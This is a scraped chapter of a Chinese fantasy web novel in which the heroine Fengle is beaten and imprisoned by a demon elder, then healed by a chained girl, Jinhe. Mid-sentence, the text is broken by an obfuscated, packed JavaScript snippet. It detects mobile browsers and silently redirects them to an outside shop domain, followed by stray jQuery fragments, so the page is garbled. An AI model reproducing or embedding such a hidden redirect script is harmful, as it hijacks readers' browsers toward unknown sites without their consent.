文趣网 > 其他小说 > 顶级孽徒成魔后 > 9. 第九章
    逢乐心里隐隐约约感受到了不安,大概是一种对危险人物的本能预知。

    “你知道我是谁吗?”她硬着头皮开了口。

    木犹先是一懵,紧接着苍老的嗓子里就传出了阴冷的笑声,像是漏风的破窗,带着无边的凉意。

    那笑令逢乐感觉阴嗖嗖的,不自觉皱了皱眉。

    “可知我的身份,我的来历?”见他不答,逢乐接着再问,边问边在脑中回想着小侍从的话。

    小侍从说,魔族长老能查到每一个魔族人的底细。

    “交出沉水玉浆。”木犹收敛了笑意,平静的声音里藏着一丝若有似无的隐忍。

    逢乐从石头上轻松一跃,站定后转头认真盯着木犹的眼睛,盯着那双浑浊如一滩污水的眼睛,字字清晰道,“此刻沉水玉浆并不在我手里,想要一样东西,总得拿些什么来换,做个交易吗?”

    她压着心中的惊惶,面上从容不迫。

    木犹的眼睛眯成一条细长的缝,从中溢出如毒蛇般的危险气息,起初沉默不语,后缓缓开口。

    “交易?可笑……付出一些东西,再得到一些对等的东西,才叫交易。”忽然,他猛地提高了音量,目眦欲裂道:“而我!已经付出的太多了!”

    风一吹,木犹连咳数声,呼吸随之变得急促,灰突突的眼珠子咳得有些泛红,站都快站不稳了。

    看着如此脆弱的老人家,逢乐都快忍不住伸手扶他一把了,他却在下一刻抬手,狠狠给了逢乐一掌。

    逢乐来不及惊诧就已经倒地呕血,再抬头时,正看见木犹用一种怒极的眼神盯着自己。

    “扶越究竟意欲何为?!”木犹怒吼,声音响彻整个山谷,吼完接着怨毒道,“他要毁诺?许诺给他的我可是都做到了,他答应我的为何没能做到?!他派你来,究竟还要同我交易什么?”

    逢乐脑中嗡嗡作响,眼前逐渐模糊,心中先是一惊,后立刻清晰起来。

    她想用沉水玉浆换自己的来历,虽打算空手套白狼,但不至于一开口就暴露,只是没想到弄巧成拙。

    “我……”

    意识到木犹似乎误会了什么,逢乐刚打算开口辩解些什么就被厉声打断。

    “今日拿不到沉水玉浆,我会让他付出惨痛的代价!”

    她原本想着,若是成功诓骗木犹后不能全身而退,就故技重施将这大祭司——扶越,搬出来当保命符用……万万没想到,他反倒成了她的催命符。

    她回想起,木犹的手下根据她身上的气味,判断她为扶越的手下,那么木犹自然同理。

    她颇为苦恼,也万般无奈。

    一个咆哮的老人,举着拐杖就要给眼前口吐鲜血的人当头一杖。

    逢乐无暇多想,脑中思绪飞快,立刻大声喝止道:“沉水玉浆在魔尊手里,拿我去换!”

    木犹的动作僵在半空,听见这话似乎恢复了些理智,可脸上杀意丝毫未退,看起来随时会失控。

    “何意?”他的声音嘶哑刺耳,压迫力十足。

    “我是魔尊的徒弟,不是扶越的手下。”逢乐抹了抹嘴角的血,冷静辩解道,“我只不过得知长老需要沉水玉浆,帮帮长老罢了。”

    逢乐看似沉着,实则脑子一团浆糊,想到什么就说什么了。

    空气凝滞了片刻,木犹一伸手,逢乐的脖子就被他牢牢掐在了手里。

    “呵……”木犹冷笑一声,一眼看穿她的所有心思,直接点破道:“帮我?是妄图诓骗才对。”

    活得久的老东西心眼比谁都多,逢乐心想小侍从说的真对。

    “我还真想知道你的来历,想知道是何人给你的胆子。”木犹边说边闭上了眼睛。

    逢乐不解,只见他再睁眼时,污浊的眼珠竟然变得清澈无比!

    看清的一瞬间,逢乐失去意识,对一切都变得无知无觉。

    木犹施展的秘术来自上古,他耗费百年在整个魔界布下了精密的阵法,只要使用秘术催动法阵,就能够知道所有魔族之人的来历身份。

    一息之后,逢乐的感知复苏,木犹也变回了先前的样子。

    窥探之后,木犹脸色更差,凶巴巴地给出结论:“看不见你的来历,你不是魔族的人。”

    逢乐浑身一颤,这话仿佛冷冰冰的一场雨,将她浑身从上到下浇了个透。这几日刚刚建立的认知顷刻被推翻,她意识到自己被人骗了个彻彻底底。

    师尊……为什么……要骗她?

    薄薄的皮肉贴着骨头,犹如枯枝的手越收越紧,逢乐感觉自己逐渐难以呼吸,回过神后她开始挣扎。

    片刻后,木犹将奄奄一息的逢乐扔在一边,对着身后的守卫吩咐道:“关起来。”

    *

    “滴答……滴答……”

    有水声落下的轻响传入耳中,逢乐的意识逐渐清醒,却睁不开眼睛。

    一股清冽的水流没入口齿之间,瞬间流入五脏六腑,她忽然感觉特别冷,忍不住开始发抖,最后缓缓睁开了眼睛。

    屋中昏暗潮湿,逢乐躺在角落的石地板上,双手被铁链锁着。她撑地靠墙坐起,一时有些茫然。

    远处有一盏油灯,但似乎快要燃尽,火苗微弱将灭。忽的,也不知哪儿来的一丝风,干脆果断地将周遭一切吹进了无尽的黑暗里。

    她叹了口气,在暗无天日的环境里眨了眨眼睛。

    忽然,一个物件落地的轻微响声冷不丁地从身旁传来,逢乐浑身一抖,锁链跟着哗啦一响。还来不及害怕呢,一盏新的灯火又从身旁猛地亮起,逢乐再度惊得一抖,锁链再度一响。她转头仔细去看,发觉根本没人。

    “你醒了?”

    逢乐不敢应答,只默默把偏向一旁的头转了回来,正打算闭眼装死,又听见那声音再度开口。

    “我在这里。”

    逢乐循声望去,只见距她最远处的角落里走出来一个人影。

    起初那人走得拘谨,几乎与昏暗的环境融为一体,走了两步后,步伐明显雀跃了些。

    只不过,在那人越来越欢快的脚步声里,逢乐听出其间夹杂着一些熟悉的,属于金属碰撞出的清脆声响。

    等那人走到眼前,逢乐呼吸停滞一瞬,随后倒吸一口凉气。

    是个很可爱

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17966425|214533||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的女孩子,身量看起来比逢乐娇小一些,一双眼睛圆溜溜的,晶莹剔透如露珠,目光温柔内敛。只是随着她的靠近,凛冽的寒意也猛地将逢乐紧紧包裹,令她不住地发抖。

    “我叫锦禾,你叫什么?”锦禾明显高兴,语调活泼。

    “逢……逢乐。”逢乐抱着自己往角落里缩了缩,打了个喷嚏,目光倒一直黏在锦禾身上。

    锦禾跪坐在逢乐身前,头上梳着两个仙气飘飘的发髻,发髻上缀满了稀世的宝珠,珠子上有被雕琢过的纹路。她身着的纱裙亦是引人夺目,上绣着精细得几乎难以察觉的花纹,借着灯火的微光映照熠熠生辉,精妙绝伦。

    十分违和的是,她的双手之上戴着与逢乐一般无二的锁链。

    “逢逢乐!”

    锦禾听见逢乐愿意与她搭话,立刻开心地叫了一声逢乐的名字。

    “……啊?”逢乐惊诧回神。

    好像误会了什么……

    逢乐无奈强忍着寒冷,磕磕绊绊地同锦禾解释了一下自己的名字是两个字。

    锦禾若有所思地点了点头,下意识抓起了逢乐的手,道:“我知道了,逢逢。”

    逢乐张口,牙齿打颤,瞬间闭嘴。

    不是不想纠正,只是在锦禾的手指触碰到逢乐的一瞬间,逢乐感受到周遭寒意顷刻翻了数倍,整个人仿佛冻成了一座冰雕。

    一座冰雕能说什么,她脸色苍白地闭上了眼睛。

    觉察到逢乐的状态,锦禾立马恍然大悟般收回了手,甚至向远处退了退。

    下一刻,逢乐睁开了眼睛,好受多了。

    方才,锦禾靠近时,逢乐发现她的手腕处有伤痕,而不远处正巧放置着一个冰做的杯子。再回忆起醒来前若有似无的水滴声,逢乐似乎明白了什么。

    “你给我喝了你的血?”逢乐毫不犹豫开口,声音因虚弱而显得冷冰冰的。

    “你伤的太严重了,我才出此下策。”锦禾明显一愣,有些紧张地开口,说着说着耷拉下了脑袋。

    “多谢。”逢乐心如明镜,将痛苦的神色一一掩藏,随后笑了笑。

    她被木犹那一掌伤得不轻,醒来时却发现自己的伤已然痊愈,想来应当是锦禾的缘故。

    “万万不要谢我,这个做法有一个弊端……”锦禾听她道谢后反而神色凝重,她抓紧自己的衣袖,解释道,“这么做如同缔结契约……以后你不能靠近我,否则会生不如死。”

    生不如死……逢乐方才似乎体会到了。

    “不过你放心,只要你不靠近我就好了。”锦禾忽然振作,信心满满补充道,“我会送你出去的。”

    逢乐状态好了不少,忽然发现锦禾刚刚一边说话一边悄悄地往后退,此刻已经退出去很远了。

    被人搭救总归是好事,哪怕有副作用也没什么。她忽然心情好了不少,心中满是感激,虽然仍旧如坠冰窟,但好像也没那么难以忍受。

    只是,瞥见锦禾如今的处境,她很理智地想:送我出去这种想法,会不会太天真了。

    她一边想一边努力将自己缩成小小一团,又往角落里挤了挤。